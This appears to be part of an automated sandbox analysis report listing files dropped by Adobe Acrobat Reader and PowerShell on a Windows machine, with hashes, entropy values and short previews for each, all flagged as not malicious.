Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311132102412187
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfFldPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGz8Ukee9
MD5:	5764C216C3CACDF05BFDDA143866DAE8
SHA1:	78BA8B06EC2DDD7BE6C05A413833E504E95A3D8C
SHA-256:	BDBA94FCAB72217F1FA525F0B56EFBC4A3820A524708123A376CFEDAC7BCA5F7
SHA-512:	A2ACFE2B951D6560DAD8B09190E91C0C07FFDBB9F35C3F975FEB2BDFB2E5D33424E6FA416E8C198D828D549A42E8CE91D37C723E2A42150B24DD52E226116574
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318549751067301
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfzdPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGb8Ukee9
MD5:	97B58502020FA017CF4616BF2D1DD700
SHA1:	1A500B797D41A41C9EBB53F3909D3CED2EB85D27
SHA-256:	A8277694FF37610C7B1952F68F694BBFF42967B901E8FCF5507FA996D6316755
SHA-512:	E26533B7D4856AEC488DCF5B34C1EE94FF60B2F997F5138E134017D6271316D45EC7C71CB1758E86BDCEEC5C8FF3628BBF5760F9B626FAE6FB925AA26A5B09E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299716933974226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfYdPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGg8Ukee9
MD5:	3F6E8D62098188D25A32C05A754C1753
SHA1:	9AC21FDEC796BCE18786A5C803A4AED6B75B9845
SHA-256:	07835DD359E2C2A12539605D01F8A550651B9A8A527DA8BF9BBBC66DF651838C
SHA-512:	8145B747486E9B23DB8B7E7A2C5AA46B63AB09FCF0A0CEB8EF2DC22AA87F9A739F74B857D1E6C6EFB68904045AD208524C8CF134624262B3350079117402D4F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.285762323240307
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJf+dPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnG28Ukee9
MD5:	E84194BE38E0AFC459B252294B325996
SHA1:	02D3B5446157B534CF62F39F6FA859BAB288F531
SHA-256:	D591F66E2F5D58E0A972921973FEC77DF3268A64CC2E39378FF2A4925C8D9464
SHA-512:	DEA3AA8F66B9D385B49DFB3DFDACF920A9B644CF06DC407748B0AC0139A772E6BF370B54419766B8F31E5851F1AEB74EC47A6BDCB76AADCCE59F280E63D88A74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283265977119057
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfbPtdPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGDV8Ukee9
MD5:	E0156DE27DE0EA1B599B0ACB6ACD171B
SHA1:	3D4AC4E89BE0794558E1518CB9F35FC3BC17D71A
SHA-256:	67841F0B1C21A9450E880850FEBBD26937BFFE893E35C9CCC18FFEA8240352E0
SHA-512:	E05E88A5B155A82BE8A6AA9E84AB691A13B2899B976098F24A70C408F34D49BCB8D20D4EC509868A9597B5EE4CDFB6A503AE850C9C0CC6DA5CCE61EB4C114A92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.288488788452116
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJf21rPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnG+16Ukee9
MD5:	1362155D3CF7466F78442EE2CC8D391F
SHA1:	CE93FB3DA6B6ED75AD66C1DC674922F1BB052536
SHA-256:	73B092C022EC6C24AE8E45C8C1635DE004BD51CC801F4188AE0983A38BE3A74B
SHA-512:	F896C6521CFFA54BE96D0910186094696B6B5B604F440106ABA6431354196960B75121E45DDE6686FAA52D702FB4A711FFDCEC843835F92048277C6F94C03EEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660039412987379
Encrypted:	false
SSDEEP:	24:Yv6XPVUAbmeOJYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv:YvCVGegeBgkDMUJUAh8cvMv
MD5:	A69A1B8BD1B15C0F5DAABE18DB68F618
SHA1:	7B6B37D36CC928A86368C5DB6707269EE8C2F48E
SHA-256:	8702FA45DB7E7D8890B535F00EE75F7BE0FEAB2B102F5D58942ECB8D6E64A9E2
SHA-512:	074A0F99E018933DC85EB5146B921F4FB2BFE6B4BAA25C13E294086FD578F7B95F1B07AAECB8D228B34ABD84CFF2A162238DCB47667CE7CEF4357B8DD386AFA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.262412293405702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJfshHHrPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGUUUkee9
MD5:	65CC923CDB51757D89A8093423E95C65
SHA1:	73E95AA3F6DA0DB050A5BD955FC2BBC804718590
SHA-256:	E42950935F9794B4D78792BAFF62231C57C9FE5DCFDD239067C77375E62427ED
SHA-512:	01AA22C9DA1DFB64A0838D211E5E05FE9467F846B02956B9FF07F1D5F06163A4EB509C2D44BF02136283E1E24536C676D0C175147A5FC1817ED05628F735243C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2803229904241915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUUmgRUypn4WsGiIPEeOF0YuuRUoAvJTqgFCrPeUkwRe9:YvXKXFUUmuUQnbsdTeO/RnGTq16Ukee9
MD5:	E6935C1498478012C57B7382B626A433
SHA1:	024213F7A99A9F0C26468E7DE62C42C6ADDC086F
SHA-256:	8315D857C1D37EBF3C44613A3BD6481606648EEAEECDC0E16DBE2F817052294F
SHA-512:	45414B804BE2C050B15C8A8D9721A43BB4DAFF82F49A26E4194F9C64F1239A188C39E74A3B6A5FF9BD2D41B1C8037926F7A10C076F94228F811F9EC7E03C8225
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"216402d0-e73a-4440-a926-c5a1bdda336f","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736688857833,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138832666050002
Encrypted:	false
SSDEEP:	48:YKOG6exv/ZUUjCSyD6IPouNaA6yNZcg8BkzZCMO9ruK4z:XVHOrV3opk9gA
MD5:	11FB72D154BD5E9825A9C4CD4DA5F2E1
SHA1:	D97FDBF71FE7931CDE038E90BAA13493229AF161
SHA-256:	138EB605FB471AF611DB66B54DC7745CC8CBE7F42D72342060082B67AA5CEFE0
SHA-512:	8CD0B6329CCFAA5403D04078D012D68947359F535B09B77474A1750C366862451F9262072A4114E083783ABD9BF1536681C936EA076C0B6C8C7018C291DA99B0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e3173f87178768581bae55547d19d481","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736514257000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0dd20b4c5e48cdbf951ee6b505156afa","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736514256000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c37c94a04a8f443b6d2da1100cbd840e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736514256000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3db1439d4194efec12be13230b2e6969","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736514256000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"91fc5300b8d23d968b653a2d3ef80283","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736514256000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f9bbbdf4c83e6e93f6bf58fbb2512997","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4540063271826849
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dspxlTN:lNVmsw3SHtbDbPe0K3+fDZdCXN
MD5:	3D3CC6C480E1B9BB3FDD03C89E26A464
SHA1:	7F206D70E98BB8522C8B66EF8E5C5F7AD2147051
SHA-256:	CF5A406B959CDBEF46FCAF02D16DD4F3F4D37EABCF4995A760FF66659CBB110E
SHA-512:	B5B78CD5090CC5C0B5A558D646BC1D6AFFC200F830023C89AA2B9504651487D151E01DDBF8941C3894224316F87020D432B617DEB18CB24754982EF538622652
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.960261117288117
Encrypted:	false
SSDEEP:	48:7MvrvrBd6dHtbGIbPe0K3+fDy2dspEjqFl2GL7msq:7y3SHtbDbPe0K3+fDZdCwKVmsq
MD5:	8D8C25BB555ED6A4D9AA6D0C03A1B05B
SHA1:	A89D0EC6880E80C2D313994CE591CCD196693308
SHA-256:	D586A3314D3EAA10C1CA8ED406CF8860B937F1CF382D451F66F94ED9A3A14C46
SHA-512:	4097E17DFCCCDE140495D93EBCA26BF4FD8672E265A6A600DEACA19D89A71B8B45C8FC868C3BD932F92714CFE89925CFBBC29D755904E0FE8D08BE870B4F3103
Malicious:	false
Preview:	.... .c......;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgp3+tvEh6zKVGi2sTC7wP9J7Yyu:6a6TZ44ADEp3+NEhEKy7+/K
MD5:	5DB732585695F300401B57C3F0EED2B7
SHA1:	CEE49A092A2654ED830EE162BBF3ABE32DCE41D6
SHA-256:	78E04178A184F3B9F035A2FBCF396F09E4EE260467B249795FA86EBA0438B0D1
SHA-512:	1683F576345D2AEADFB98B8619E59E2E406DBE666668156DBB75F651C30EDDA293E5ABF17E80E6973E340C6FAD49E31264B71FCE06D7516F71CBCBD0135B765B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI71304.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5178552411299933
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClKYle:Qw946cPbiOxDlbYnuRK+bsw
MD5:	1B085B11369BC1D83CBD40B9775AA197
SHA1:	7B742FF9B681F27C0BA7E709536915B9825D0D00
SHA-256:	2E2B08FF080746484FC24561D15C15D16DC18565EF1E7048B6330F2863F1E0C5
SHA-512:	279B81BB7D614FE29B290F07871FBA779AD296AE05E56C784E02AD1A9A52B59628B98DA82CAE447CC9EFBB79E1F9DCF2C0A05F0FA99DF49B243608B997D36109
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.0.4.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kac1xgqr.3sv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_os01oxe3.bcm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91po6ky0_1xginua_5r0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-04-09-606.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3578736627799435
Encrypted:	false
SSDEEP:	384:8mCrCynA5CdFsyFCf5GnnkfYwFJbbdxkqL+/95PRTbpH50+pxmnSD/gRYSwPZKyo:tlD
MD5:	DD2A18FFBCFE50493F5661E8B19D1504
SHA1:	8FDB95344FB9ABD8E4865C86BCFBD83E34DC6F06
SHA-256:	9E716E56BF2C34FCD2CFE645F588C1B389A04558931536855A45CB8BE5163EA2
SHA-512:	CF2DA439B6D89F3166059960AF065B87583B8BEDD3089504A567D113B3D39DF5F4FF12E7772DF059058FD0D8236A71AC4378E5F0F467D0CA3D2C8384267225CC
Malicious:	false
Preview:	SessionID=40f42049-4fc2-42f9-8757-cf6d185fb9d0.1736514249619 Timestamp=2025-01-10T08:04:09:619-0500 ThreadID=1264 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=40f42049-4fc2-42f9-8757-cf6d185fb9d0.1736514249619 Timestamp=2025-01-10T08:04:09:620-0500 ThreadID=1264 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=40f42049-4fc2-42f9-8757-cf6d185fb9d0.1736514249619 Timestamp=2025-01-10T08:04:09:620-0500 ThreadID=1264 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=40f42049-4fc2-42f9-8757-cf6d185fb9d0.1736514249619 Timestamp=2025-01-10T08:04:09:620-0500 ThreadID=1264 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS 